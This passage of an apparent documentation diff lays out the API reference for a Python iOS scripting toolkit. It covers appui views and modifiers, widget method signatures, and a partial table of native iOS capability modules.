action=increase).button_style("bordered_prominent"), + ], spacing=16).padding() + ).navigation_title("Counter") + +appui.run(body, state=state) +``` + +## Widget Quick Start + +```python +import widget + +accent = widget.param.color("主色", "#34D399") +count = widget.state.int("count", 0) + +w = widget.Widget(background=("#F8FAFC", "#0B1220"), padding=14) +w.text("今日进度", size=16, weight="semibold") +w.value(count, unit="次").content_transition("numericText").monospaced_digit() +w.progress(min(int(count), 10), total=10, color=accent, height=8) +w.button("加 1", action=count.increment(), background=accent, color="#FFFFFF") +w.render() +``` + +## Widget Writing Rules + +- Use `widget.param` for user-editable preview sheet values: colors, sliders, switches, choices, text, and files. +- Use `widget.state` StateRef actions for desktop interactions: `increment`, `decrement`, `set`, `toggle`, and `toggle_item`. +- Branch with `widget.family`, `widget.family_value(...)`, `w.when(...)`, or `w.unless(...)` when supporting multiple families. +- Use `table(..., line_width="hairline")`, `canvas(...)`, `path(...)`, `.place(...)`, and `.frame(...)` for exact visual layouts. +- Widget animations are data-update animations from timeline entries or AppIntent state changes, not continuous app animations. + +## AppUI Complete Public Surface + +- Exported symbols: 122 +- Module functions: `adaptive`, `animate`, `auto_refresh`, `bind`, `call_native`, `computed`, `custom_font`, `dismiss`, `dismiss_all`, `dynamic`, `effect`, `fixed`, `flexible`, `get_native_lib`, `grid_item`, `preload`, `presentation_dismiss`, `presentation_dismiss_all`, `presentation_present`, `run`, `set_custom_prop` +- Views: `Alert`, `AsyncImage`, `AttributedText`, `Badge`, `Button`, `CameraPicker`, `Canvas`, `Capsule`, `Chart`, `Circle`, `CloseButton`, `Color`, `ColorPicker`, `ConfirmationDialog`, `ContentUnavailableView`, `ControlGroup`, `DatePicker`, `DisclosureGroup`, `Divider`, `EditButton`, `Ellipse`, `FileImporter`, `ForEach`, `Form`, `Gauge`, `GeometryReader`, `Grid`, `GridRow`, `Group`, `GroupBox`, `HStack`, `Image`, `InlinePickerStyle`, `Label`, `LabeledContent`, `LazyHGrid`, `LazyHStack`, `LazyVGrid`, `LazyVStack`, `Link`, `List`, `MapView`, `Menu`, `MultiDatePicker`, `NavigationLink`, `NavigationSplitView`, `NavigationStack`, `Overlay`, `PasteButton`, `Path`, `PhotoPicker`, `Picker`, `Popover`, `ProgressView`, `Rectangle`, `Refreshable`, `RenameButton`, `RoundedRectangle`, `SafeAreaInset`, `ScrollView`, `ScrollViewReader`, `SearchField`, `Section`, `SecureField`, `SegmentedControl`, `ShareLink`, `SignInWithAppleButton`, `Slider`, `Spacer`, `Stepper`, `SwipeActions`, `Tab`, `TabView`, `Table`, `Text`, `TextEditor`, `TextField`, `TextFieldLink`, `TimelineView`, `Toggle`, `ToolbarItem`, `ToolbarSpacer`, `VStack`, `VideoPlayer`, `ViewThatFits`, `WebView`, `WheelPicker`, `ZStack` +- Typed helpers/classes: `DrawingContext`, `NavigationPath`, `ObservableDict`, `ObservableList`, `PersistentState`, `PlayerController`, `Prop`, `ReactiveState`, `Ref`, `State`, `Timer`, `View`, `infinity` +- View modifiers: `.accessibility_hidden`, `.accessibility_label`, `.alert`, `.alignment_guide`, `.animation`, `.aspect_ratio`, `.background`, `.background_extension_effect`, `.badge`, `.blur`, `.bold`, `.border`, `.brightness`, `.button_style`, `.clip_shape`, `.clipped`, `.confirmation_dialog`, `.container_relative_frame`, `.content_margins`, `.content_shape`, `.content_transition`, `.context_menu`, `.contrast`, `.corner_radius`, `.date_picker_style`, `.default_scroll_anchor`, `.disabled`, `.drawing_group`, `.environment`, `.fill`, `.fixed_size`, `.focused`, `.font`, `.foreground_color`, `.foreground_style`, `.frame`, `.full_screen_cover`, `.gauge_style`, `.glass_effect`, `.glass_effect_id`, `.glass_effect_transition`, `.glass_effect_union`, `.grayscale`, `.hidden`, `.high_priority_gesture`, `.id`, `.ignores_safe_area`, `.image_scale`, `.inspector`, `.italic`, `.keyboard_dismiss`, `.layout_priority`, `.line_limit`, `.list_row_background`, `.list_row_insets`, `.list_row_separator`, `.list_style`, `.mask`, `.matched_geometry_effect`, `.minimum_scale_factor`, `.multiline_text_alignment`, `.navigation_bar_back_button_hidden`, `.navigation_bar_title_display_mode`, `.navigation_destination`, `.navigation_title`, `.offset`, `.on_appear`, `.on_disappear`, `.on_drag_gesture`, `.on_drop`, `.on_geometry`, `.on_long_press_gesture`, `.on_magnification_gesture`, `.on_rotation_gesture`, `.on_submit`, `.on_tap_gesture`, `.opacity`, `.overlay`, `.padding`, `.phase_animator`, `.picker_style`, `.popover`, `.position`, `.progress_view_style`, `.refreshable`, `.resizable`, `.rotation_3d_effect`, `.rotation_effect`, `.safe_area_bar`, `.safe_area_inset`, `.saturation`, `.scale_effect`, `.scroll_clip_disabled`, `.scroll_content_background`, `.scroll_edge_effect_hidden`, `.scroll_edge_effect_style`, `.scroll_position`, `.scroll_target_behavior`, `.scroll_target_layout`, `.scroll_transition`, `.search_toolbar_behavior`, `.searchable`, `.sensory_feedback`, `.shadow`, `.sheet`, `.simultaneous_gesture`, `.strikethrough`, `.stroke`, `.submit_label`, `.swipe_actions`, `.symbol_effect`, `.symbol_rendering_mode`, `.tab_bar_minimize_behavior`, `.tab_view_bottom_accessory`, `.tab_view_search_activation`, `.tab_view_style`, `.task`, `.text_field_style`, `.tint`, `.toggle_style`, `.toolbar`, `.toolbar_background`, `.toolbar_color_scheme`, `.transition`, `.truncation_mode`, `.underline`, `.z_index` + +## Widget Complete Public Surface + +- Constants/runtime values: `CIRCULAR`, `INLINE`, `LARGE`, `MEDIUM`, `RECTANGULAR`, `SMALL`, `action`, `color`, `context`, `entry`, `family`, `param`, `state`, `storage` +- Public Widget methods: `background`, `background_image`, `badge`, `bar_chart`, `body`, `button`, `canvas`, `caption`, `change`, `circle`, `column`, `container_background`, `content_margins`, `context`, `countdown`, `date`, `divider`, `dynamic_date`, `flip`, `grid`, `image`, `layer`, `line_chart`, `link`, `list`, `path`, `progress`, `rect`, `region`, `relative_time`, `render`, `rich_text`, `ring_chart`, `row`, `section`, `shape`, `spacer`, `surface`, `svg`, `symbol`, `table`, `text`, `time`, `timeline`, `timer_text`, `title`, `toggle`, `transparent_background`, `unless`, `validate`, `value`, `when` +| API | Kind | Signature | +| --- | --- | --- | +| `widget.action` | runtime | `action helper` | +| `widget.color` | runtime | `color helper` | +| `widget.context` | runtime | `current family and size context` | +| `widget.entry` | runtime | `current timeline entry fields` | +| `widget.family` | runtime | `current widget family` | +| `widget.param` | runtime | `preview parameter declarations` | +| `widget.state` | runtime | `desktop interaction state declarations` | +| `widget.storage` | runtime | `lightweight widget storage` | +| `widget.cache_json` | helper | `cache_json( url: str, *, ttl: Optional[float] = 3600, default: Any = None, params: Optional[Dict[str, Any]] = None, headers: Optional[Dict[str, str]] = None, key: Optional[str] = None, timeout: float = 8, ) -> Any` | +| `widget.family_value` | helper | `family_value(default: Any = None, **values: Any) -> Any` | +| `widget.history` | helper | `history( key: str, value: Any = None, limit: int = 7, *, bucket: Optional[str] = "day", default: Any = None, ) -> Any` | +| `widget.save_image` | helper | `save_image(source: Union[str, bytes], name: str, *, variant: Optional[str] = None) -> str` | +| `Widget.background` | appearance | `background(value: WidgetBackground) -> "Widget"` | +| `Widget.background_image` | appearance | `background_image(asset: Optional[ImageLike] = None, content_mode: str = "fill", dim: Optional[Union[bool, float]] = None, scrim: Optional[Union[bool, str]] = None, scrim_opacity: Optional[float] = None, focal: str = "center", overlay_color: ColorLike = "#000000", *, light: Optional[str] = None, dark: Optional[str] = None, ) -> "Widget"` | +| `Widget.badge` | content | `badge(text: Union[str, int, float], icon: Optional[str] = None, tone: str = "accent", style: str = "plain", ) -> WidgetNode` | +| `Widget.bar_chart` | chart | `bar_chart(values: List[Union[int, float]], color: Optional[ColorLike] = None, height: Optional[float] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, spacing: Optional[float] = None, corner_radius: Optional[float] = None, track_color: Optional[ColorLike] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, segment_colors: Optional[List[ColorLike]] = None, baseline: Optional[float] = None, threshold: Optional[float] = None, labels: Optional[Union[List[Any], Dict[str, Any]]] = None, label_color: Optional[ColorLike] = None, ) -> WidgetNode` | +| `Widget.body` | text | `body(content: Union[str, int, float]) -> WidgetNode` | +| `Widget.button` | interaction | `button(title: Optional[str] = None, action: Optional[Union[str, WidgetAction]] = None, url: Optional[str] = None, color: Optional[ColorLike] = None, background: Optional[WidgetBackground] = None, size: Optional[float] = None, padding: Optional[Union[int, float]] = None, *, style: Optional[str] = None, layout: Optional[str] = None, press: Optional[Dict[str, Any]] = None, normal: Optional[Dict[str, Any]] = None, ) -> WidgetNode` | +| `Widget.canvas` | media | `canvas(height: Optional[float] = None, coordinate_space: str = "relative", align: str = "center", background: Optional[WidgetBackground] = None, padding: Optional[Union[int, float]] = None, corner_radius: Optional[float] = None, border_color: Optional[ColorLike] = None, border_width: Optional[float] = None, opacity: Optional[float] = None, frame: Optional[Dict[str, Any]] = None, fill: bool = False, ) -> Canvas` | +| `Widget.caption` | content | `caption(content: Union[str, int, float]) -> WidgetNode` | +| `Widget.change` | content | `change(primary: Union[str, int, float], secondary: Optional[Union[str, int, float]] = None, direction: Optional[str] = None, ) -> WidgetNode` | +| `Widget.circle` | shape | `circle(color: Optional[ColorLike] = None, size: Optional[float] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, border_color: Optional[ColorLike] = None, border_width: Optional[float] = None, ) -> WidgetNode` | +| `Widget.column` | layout | `column(spacing: Optional[Union[int, float]] = None, align: Optional[str] = None, ) -> WidgetContainer` | +| `Widget.container_background` | appearance | `container_background(value: Optional[WidgetBackground] = None, *, removable: Optional[bool] = None, ) -> "Widget"` | +| `Widget.content_margins` | appearance | `content_margins(enabled: bool = True, padding: Optional[Union[int, float, Sequence[float], Dict[str, float]]] = None, ) -> "Widget"` | +| `Widget.context` | - | `context() -> WidgetContext` | +| `Widget.countdown` | content | `countdown(title: Optional[Union[str, int, float]] = "Countdown", target: Optional[Union[datetime, str]] = None, subtitle: Optional[Union[str, int, float]] = None, icon: Optional[str] = None, tone: Optional[str] = None, accent: Optional[ColorLike] = None, ) -> WidgetBlock` | +| `Widget.date` | content | `date(target: Optional[Union[datetime, str]] = None, style: str = "date") -> WidgetNode` | +| `Widget.divider` | layout | `divider(color: Optional[ColorLike] = None, opacity: Optional[float] = None, ) -> WidgetNode` | +| `Widget.dynamic_date` | timer | `dynamic_date(target: Optional[Union[datetime, str]] = None, style: str = "date") -> WidgetNode` | +| `Widget.flip` | animation | `flip(value: Any, previous: Optional[Any] = None, *, direction: str = "up", width: Optional[float] = None, height: Optional[float] = None, size: Optional[float] = None, weight: str = "bold", color: Optional[ColorLike] = None, background: Optional[WidgetBackground] = None, corner_radius: Optional[float] = None, duration: float = 0.55, delta: Optional[float] = None, perspective: float = 0.62, shadow_opacity: float = 0.18, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, design: Optional[str] = "monospaced", ) -> WidgetNode` | +| `Widget.grid` | layout | `grid(columns: int = 2, spacing: Optional[Union[int, float]] = None, row_spacing: Optional[Union[int, float]] = None, column_spacing: Optional[Union[int, float]] = None, align: Optional[str] = None, padding: Optional[Union[int, float]] = None, background: Optional[WidgetBackground] = None, opacity: Optional[float] = None, corner_radius: Optional[float] = None, border_color: Optional[ColorLike] = None, border_width: Optional[float] = None, url: Optional[str] = None, shadow_color: Optional[ColorLike] = None, shadow_radius: Optional[float] = None, shadow_x: float = 0, shadow_y: float = 2, rows: Optional[int] = None, equal: bool = False, fill: bool = False, ) -> WidgetContainer` | +| `Widget.image` | media | `image(name: Optional[ImageLike] = None, width: Optional[float] = None, height: Optional[float] = None, corner_radius: Optional[float] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, content_mode: Optional[str] = None, *, light: Optional[str] = None, dark: Optional[str] = None, rendering_mode: Optional[str] = None, ) -> WidgetNode` | +| `Widget.layer` | layout | `layer(align: str = "center", padding: Optional[Union[int, float]] = None, background: Optional[WidgetBackground] = None, corner_radius: Optional[float] = None, ) -> WidgetContainer` | +| `Widget.line_chart` | chart | `line_chart(values: List[Union[int, float]], color: Optional[ColorLike] = None, height: Optional[float] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, fill: bool = True, show_points: bool = True, line_width: Optional[float] = None, track_color: Optional[ColorLike] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, segment_colors: Optional[List[ColorLike]] = None, baseline: Optional[float] = None, threshold: Optional[float] = None, labels: Optional[Union[List[Any], Dict[str, Any]]] = None, label_color: Optional[ColorLike] = None, ) -> WidgetNode` | +| `Widget.link` | interaction | `link(title: str, url: str, icon: Optional[str] = None, color: Optional[ColorLike] = None, ) -> Union[WidgetNode, WidgetContainer]` | +| `Widget.list` | layout | `list(items: List[Any], title: Optional[Union[str, int, float]] = None, limit: Optional[int] = None, empty_text: Optional[Union[str, int, float]] = None, dividers: bool = False, ) -> WidgetContainer` | +| `Widget.path` | media | `path(points: List[PathPoint], stroke: Optional[ColorLike] = None, fill: Optional[ColorLike] = None, line_width: Optional[Union[float, str]] = None, closed: bool = False, height: Optional[float] = None, coordinate_space: str = "relative", opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, line_cap: Optional[str] = None, line_join: Optional[str] = None, dash: Optional[Sequence[float]] = None, miter_limit: Optional[float] = None, ) -> WidgetNode` | +| `Widget.progress` | chart | `progress(value: Union[int, float], total: float = 1.0, color: Optional[ColorLike] = None, height: Optional[float] = None, track_color: Optional[ColorLike] = None, *, title: Optional[str] = None, subtitle: Optional[str] = None, unit: Optional[str] = None, icon: Optional[str] = None, tone: Optional[str] = None, accent: Optional[str] = None, style: Optional[str] = None, ) -> WidgetNode` | +| `Widget.rect` | shape | `rect(color: Optional[ColorLike] = None, width: Optional[float] = None, height: Optional[float] = None, corner_radius: Optional[float] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, border_color: Optional[ColorLike] = None, border_width: Optional[float] = None, ) -> WidgetNode` | +| `Widget.region` | layout | `region(slot: str = "center", spacing: Optional[Union[int, float]] = None, align: Optional[str] = None, ) -> WidgetContainer` | +| `Widget.relative_time` | content | `relative_time(target: Optional[Union[datetime, str]] = None) -> WidgetNode` | +| `Widget.render` | lifecycle | `render(url: Optional[str] = None) -> None` | +| `Widget.rich_text` | content | `rich_text(parts: List[RichTextPart], size: Optional[float] = None, weight: Optional[str] = None, color: Optional[ColorLike] = None, align: Optional[str] = None, max_lines: Optional[int] = None, design: Optional[str] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, minimum_scale_factor: Optional[float] = None, font_width: Optional[str] = None, ) -> WidgetNode` | +| `Widget.ring_chart` | chart | `ring_chart(value: Union[int, float], total: float = 1.0, label: Optional[str] = None, color: Optional[ColorLike] = None, track_color: Optional[ColorLike] = None, size: Optional[float] = None, line_width: Optional[float] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, ) -> WidgetNode` | +| `Widget.row` | layout | `row(spacing: Optional[Union[int, float]] = None, align: Optional[str] = None, ) -> WidgetContainer` | +| `Widget.section` | layout | `section(title: Optional[Union[str, int, float]] = None, spacing: Optional[Union[int, float]] = None, subtitle: Optional[Union[str, int, float]] = None, style: Optional[str] = None, ) -> WidgetContainer` | +| `Widget.shape` | media | `shape(kind: str = "rectangle", color: Optional[ColorLike] = None, width: Optional[float] = None, height: Optional[float] = None, size: Optional[float] = None, corner_radius: Optional[float] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, border_color: Optional[ColorLike] = None, border_width: Optional[float] = None, shadow_color: Optional[ColorLike] = None, shadow_radius: Optional[float] = None, shadow_x: float = 0, shadow_y: float = 2, stroke_color: Optional[ColorLike] = None, stroke_width: Optional[Union[float, str]] = None, dash: Optional[Sequence[float]] = None, line_cap: Optional[str] = None, line_join: Optional[str] = None, miter_limit: Optional[float] = None, top_leading_radius: Optional[float] = None, top_trailing_radius: Optional[float] = None, bottom_leading_radius: Optional[float] = None, bottom_trailing_radius: Optional[float] = None, ) -> WidgetNode` | +| `Widget.spacer` | layout | `spacer(length: Optional[Union[int, float]] = None) -> WidgetNode` | +| `Widget.surface` | layout | `surface(role: str = "panel", spacing: Optional[Union[int, float]] = None, align: Optional[str] = None, padding: Optional[Union[int, float]] = None, background: Optional[WidgetBackground] = None, corner_radius: Optional[float] = None, border_color: Optional[ColorLike] = None, border_width: Optional[float] = None, shadow_color: Optional[ColorLike] = None, shadow_radius: Optional[float] = None, ) -> WidgetContainer` | +| `Widget.svg` | svg | `svg(name: Optional[ImageLike] = None, width: Optional[float] = None, height: Optional[float] = None, color: Optional[ColorLike] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, content_mode: str = "fit", *, light: Optional[str] = None, dark: Optional[str] = None, ) -> WidgetNode` | +| `Widget.symbol` | media | `symbol(name: str, rendering: Optional[str] = None, palette: Optional[Sequence[ColorLike]] = None, variant: Optional[str] = None, scale: Optional[str] = None, ) -> WidgetNode` | +| `Widget.table` | table | `table(rows: int, columns: int, *, line_color: Optional[ColorLike] = None, line_width: Union[float, str] = "hairline", line_cap: str = "butt", line_join: str = "miter", dash: Optional[Sequence[float]] = None, miter_limit: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, width: Optional[float] = None, height: Optional[float] = None, background: Optional[WidgetBackground] = None, opacity: Optional[float] = None, corner_radius: Optional[float] = None, border: bool = True, fill: bool = True, align: str = "center", ) -> Table` | +| `Widget.text` | content | `text(content: Union[str, int, float], size: Optional[float] = None, weight: Optional[str] = None, color: Optional[ColorLike] = None, align: Optional[str] = None, max_lines: Optional[int] = None, design: Optional[str] = None, opacity: Optional[float] = None, padding: Optional[Union[int, float]] = None, frame: Optional[Dict[str, Any]] = None, minimum_scale_factor: Optional[float] = None, font_width: Optional[str] = None, ) -> WidgetNode` | +| `Widget.time` | content | `time(target: Optional[Union[datetime, str]] = None) -> WidgetNode` | +| `Widget.timeline` | lifecycle | `timeline(entries: Optional[List[Dict[str, Any]]] = None, *, update: str = "after", after: Any = None, interval: Optional[float] = None, ) -> "Widget"` | +| `Widget.timer_text` | content | `timer_text(target: Optional[Union[datetime, str]] = None) -> WidgetNode` | +| `Widget.title` | content | `title(content: Union[str, int, float]) -> WidgetNode` | +| `Widget.toggle` | interaction | `toggle(title: Optional[str] = None, is_on: Union[bool, str] = False, action: Optional[Union[str, WidgetAction]] = None, url: Optional[str] = None, color: Optional[ColorLike] = None, background: Optional[WidgetBackground] = None, size: Optional[float] = None, padding: Optional[Union[int, float]] = None, *, value: Optional[Union[bool, str]] = None, state: Optional[State[bool]] = None, style: Optional[str] = None, layout: Optional[str] = None, press: Optional[Dict[str, Any]] = None, normal: Optional[Dict[str, Any]] = None, ) -> WidgetNode` | +| `Widget.transparent_background` | appearance | `transparent_background(enabled: bool = True) -> "Widget"` | +| `Widget.unless` | layout | `unless(*families: str, layout: str = "layer") -> WidgetContainer` | +| `Widget.validate` | lifecycle | `validate(family: Optional[str] = None) -> Dict[str, Any]` | +| `Widget.value` | content | `value(value: Union[str, int, float, State[int], State[float], State[str], State[str]], unit: Optional[str] = None, subtitle: Optional[str] = None, format: Optional[str] = None, ) -> WidgetNode` | +| `Widget.when` | layout | `when(*families: str, layout: str = "layer") -> WidgetContainer` | +| `.accentable` | modifier | `.accentable(enabled: bool = True) -> Self` | +| `.accessibility` | modifier | `.accessibility(label: Optional[str] = None, value: Optional[str] = None, hint: Optional[str] = None, hidden: Optional[bool] = None, ) -> Self` | +| `.align` | modifier | `.align(value: str) -> Self` | +| `.animation` | modifier | `.animation(value: str = "default") -> Self` | +| `.background` | modifier | `.background(value: WidgetBackground) -> Self` | +| `.bar_spacing` | modifier | `.bar_spacing(value: float) -> Self` | +| `.baseline` | modifier | `.baseline(value: float = 0, color: Optional[ColorLike] = None) -> Self` | +| `.button_style` | modifier | `.button_style(value: str = "plain") -> Self` | +| `.capsule` | modifier | `.capsule(tone: Optional[str] = None, padding: Optional[Union[int, float]] = None, ) -> Self` | +| `.clip` | modifier | `.clip(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self` | +| `.clip_shape` | modifier | `.clip_shape(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self` | +| `.color` | modifier | `.color(value: ColorLike) -> Self` | +| `.compressed` | modifier | `.compressed(enabled: bool = True) -> Self` | +| `.content_transition` | modifier | `.content_transition(value: str = "opacity") -> Self` | +| `.control_layout` | modifier | `.control_layout(value: str = "overlay") -> Self` | +| `.control_style` | modifier | `.control_style(value: str = "plain") -> Self` | +| `.corner_radius` | modifier | `.corner_radius(value: float) -> Self` | +| `.fill` | modifier | `.fill(enabled: bool = True) -> Self` | +| `.fixed_size` | modifier | `.fixed_size(horizontal: bool = True, vertical: bool = True) -> Self` | +| `.font` | modifier | `.font(value: Optional[Union[str, int, float, Dict[str, Any]]] = None, *, size: Optional[Union[float, Dict[str, Any]]] = None, weight: Optional[str] = None, **size_values: Any, ) -> Self` | +| `.font_size` | modifier | `.font_size(size: float) -> Self` | +| `.font_style` | modifier | `.font_style(style: str) -> Self` | +| `.font_weight` | modifier | `.font_weight(weight: str) -> Self` | +| `.font_width` | modifier | `.font_width(width: str) -> Self` | +| `.frame` | modifier | `.frame(**kwargs: Any) -> Self` | +| `.grid` | modifier | `.grid(rows: int, columns: int, *, padding: Union[int, float] = 0, gap: Union[int, float] = 0, row_gap: Optional[float] = None, column_gap: Optional[float] = None, line_width: Optional[float] = None, border: bool = False, x: float = 0, y: float = 0, width: Optional[float] = None, height: Optional[float] = None, ) -> CanvasGrid` | +| `.guide_lines` | modifier | `.guide_lines(count: Union[bool, int] = True, color: Optional[ColorLike] = None) -> Self` | +| `.height` | modifier | `.height(value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self` | +| `.hide` | modifier | `.hide(*families: str) -> Self` | +| `.id` | modifier | `.id(value: Any) -> Self` | +| `.importance` | modifier | `.importance(value: str = "primary") -> Self` | +| `.intent` | modifier | `.intent(action: Union[str, WidgetAction]) -> Self` | +| `.labels` | modifier | `.labels(start: Optional[Union[str, int, float]] = None, end: Optional[Union[str, int, float]] = None, color: Optional[ColorLike] = None, ) -> Self` | +| `.layout_priority` | modifier | `.layout_priority(value: float = 1) -> Self` | +| `.line_limit` | modifier | `.line_limit(value: int) -> Self` | +| `.line_width` | modifier | `.line_width(value: Union[float, str]) -> Self` | +| `.link` | modifier | `.link(url: str) -> Self` | +| `.mask` | modifier | `.mask(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self` | +| `.mask_view` | modifier | `.mask_view(align: str = "center") -> Self` | +| `.min_scale` | modifier | `.min_scale(value: float) -> Self` | +| `.monospaced` | modifier | `.monospaced(enabled: bool = True) -> Self` | +| `.monospaced_digit` | modifier | `.monospaced_digit(enabled: bool = True) -> Self` | +| `.normal` | modifier | `.normal(**style: Any) -> Self` | +| `.offset` | modifier | `.offset(x: float = 0, y: float = 0) -> Self` | +| `.opacity` | modifier | `.opacity(value: float) -> Self` | +| `.overflow` | modifier | `.overflow(action: Optional[str] = None, *, importance: Optional[str] = None, preserve: Optional[bool] = None, ) -> Self` | +| `.overlay` | modifier | `.overlay(color: ColorLike = "#000000", opacity: float = 0.18) -> Self` | +| `.overlay_view` | modifier | `.overlay_view(align: str = "center") -> Self` | +| `.padding` | modifier | `.padding(value: Optional[Union[int, float]] = None, *, horizontal: Optional[float] = None, vertical: Optional[float] = None, top: Optional[float] = None, leading: Optional[float] = None, bottom: Optional[float] = None, trailing: Optional[float] = None, ) -> Self` | +| `.palette` | modifier | `.palette(colors: Sequence[ColorLike]) -> Self` | +| `.pixel_perfect_center` | modifier | `.pixel_perfect_center(enabled: bool = True) -> Self` | +| `.place` | modifier | `.place(x: Optional[float] = None, y: Optional[float] = None, unit: str = "relative") -> Self` | +| `.plain` | modifier | `.plain(enabled: bool = True) -> Self` | +| `.points` | modifier | `.points(enabled: bool = True) -> Self` | +| `.position` | modifier | `.position(x: Optional[float] = None, y: Optional[float] = None, unit: str = "points") -> Self` | +| `.preserve` | modifier | `.preserve(enabled: bool = True) -> Self` | +| `.pressed` | modifier | `.pressed(**style: Any) -> Self` | +| `.privacy_sensitive` | modifier | `.privacy_sensitive(enabled: bool = True) -> Self` | +| `.redacted` | modifier | `.redacted(reason: str = "placeholder") -> Self` | +| `.rendering` | modifier | `.rendering(mode: str, colors: Optional[Sequence[ColorLike]] = None) -> Self` | +| `.reverse_mask` | modifier | `.reverse_mask(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self` | +| `.rotate` | modifier | `.rotate(degrees: float) -> Self` | +| `.rotation` | modifier | `.rotation(degrees: float) -> Self` | +| `.scale` | modifier | `.scale(value: float) -> Self` | +| `.segment_colors` | modifier | `.segment_colors(colors: List[ColorLike]) -> Self` | +| `.shadow` | modifier | `.shadow(color: ColorLike = "#000000", radius: float = 4, x: float = 0, y: float = 2, ) -> Self` | +| `.slot` | modifier | `.slot(value: str) -> Self` | +| `.soft_background` | modifier | `.soft_background(tone: Optional[str] = None, corner_radius: Optional[float] = None, padding: Optional[Union[int, float]] = None, ) -> Self` | +| `.stroke` | modifier | `.stroke(color: Optional[ColorLike] = None, *, width: Optional[Union[float, str]] = None, dash: Optional[Sequence[float]] = None, cap: Optional[str] = None, join: Optional[str] = None, miter_limit: Optional[float] = None, ) -> Self` | +| `.threshold` | modifier | `.threshold(value: float, color: Optional[ColorLike] = None) -> Self` | +| `.toggle_style` | modifier | `.toggle_style(value: str = "checkbox") -> Self` | +| `.tone` | modifier | `.tone(value: str) -> Self` | +| `.track_color` | modifier | `.track_color(value: ColorLike) -> Self` | +| `.transition` | modifier | `.transition(value: str = "opacity", edge: Optional[str] = None) -> Self` | +| `.variant` | modifier | `.variant(value: str) -> Self` | +| `.width` | modifier | `.width(value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self` | + +Compatibility names are intentionally omitted from public AI output. + +## Native iOS Capabilities + +| Module | Category | Permissions | Capabilities | Core APIs | +| --- | --- | --- | --- | --- | +| `alarm` | `系统服务` | - | `alarm_schedule`, `alarm_cancel` | `alarm.is_available`, `alarm.request_authorization`, `alarm.schedule`, `alarm.cancel`, `alarm.list_alarms`, `alarm.AlarmError` | +| `assistant` | `系统服务` | - | `assistant_tools`, `device_context_answers` | `assistant.is_available`, `assistant.list_tools`, `assistant.run`, `assistant.AssistantError` | +| `audio_recorder` | `媒体与视觉` | `microphone` | `microphone_capture`, `recording_control`, `level_metering` | `audio_recorder.start`, `audio_recorder.stop`, `audio_recorder.pause`, `audio_recorder.resume`, `audio_recorder.cancel`, `audio_recorder.status`, `audio_recorder.is_recording`, `audio_recorder.duration`, `audio_recorder.metering`, `audio_recorder.AudioRecorderError` | +| `audio_session` | `媒体与视觉` | - | `audio_session_category`, `audio_route_query` | `audio_session.set_category`, `audio_session.set_active`, `audio_session.current_route`, `audio_session.AudioSessionError` | +| `avplayer` | `媒体与视觉` | - | `audio_video_load`, `playback_control`, `native_player` | `avplayer.Player`, `avplayer.load`, `avplayer.play`, `avplayer.pause`, `avplayer.stop`, `avplayer.seek`, `avplayer.duration`, `avplayer.current_time`, `avplayer.is_playing`, `avplayer.set_volume`, `avplayer.set_rate`, `avplayer.present_video`, `avplayer.on_progress`, `avplayer.stop_progress`, `avplayer.on_end`, `avplayer.cleanup` | +| `background` | `网络与连接` | - | `background_task`, `remaining_time`, `app_state` | `background.begin_task`, `background.end_task`, `background.remaining_time`, `background.app_state`, `background.start_keep_alive`, `background.stop_keep_alive`, `background.schedule_refresh`, `background.schedule_processing` | +| `background_download` | `网络与连接` | - | `background_download`, `download_progress` | `background_download.download`, `background_download.status`, `background_download.cancel`, `background_download.BackgroundDownloadError` | +| `biometric` | `设备与传感器` | `biometric` | `face_id`, `touch_id`, `passcode_fallback` | `biometric.biometric_type`, `biometric.is_available`, `biometric.authenticate`, `biometric.authenticate_with_passcode` | +| `ble_peripheral` | `网络与连接` | - | `ble_peripheral_advertising`, `ble_characteristic_update` | `ble_peripheral.start_advertising`, `ble_peripheral.stop_advertising`, `ble_peripheral.status`, `ble_peripheral.update_value`, `ble_peripheral.BlePeripheralError` | +| `bluetooth` | `网络与连接` | `bluetooth` | `ble_scan`, `ble_connect`, `read`, `write` | `bluetooth.state`, `bluetooth.scan`, `bluetooth.stop_scan`, `bluetooth.connect`, `bluetooth.disconnect`, `bluetooth.discover_services`, `bluetooth.read`, `bluetooth.write` | +| `c_extensions` | `网络与连接` | - | `扩展清单`, `兼容性说明` | - | +| `calendar_events` | `系统服务` | `calendar`, `reminders` | `calendar_read`, `calendar_write`, `reminders` | `calendar_events.authorization_status`, `calendar_events.request_access`, `calendar_events.get_calendars`, `calendar_events.get_events`, `calendar_events.create_event`, `calendar_events.delete_event`, `calendar_events.request_reminder_access`, `calendar_events.get_reminders`, `calendar_events.create_reminder`, `calendar_events.complete_reminder`, `calendar_events.delete_reminder` | +| `clipboard` | `系统服务` | - | `read_clipboard`, `write_clipboard`, `clear_clipboard` | `clipboard.get`, `clipboard.set`, `clipboard.clear`, `clipboard.get_text`, `clipboard.set_text` | +| `console` | `系统服务` | - | `hud`, `alerts`, `input_dialogs` | `console.alert`, `console.hud_alert`, `console.input_alert`, `console.login_alert`, `console.password_alert`, `console.set_color`, `console.set_font`, `console.clear`, `console.write_link` | +| 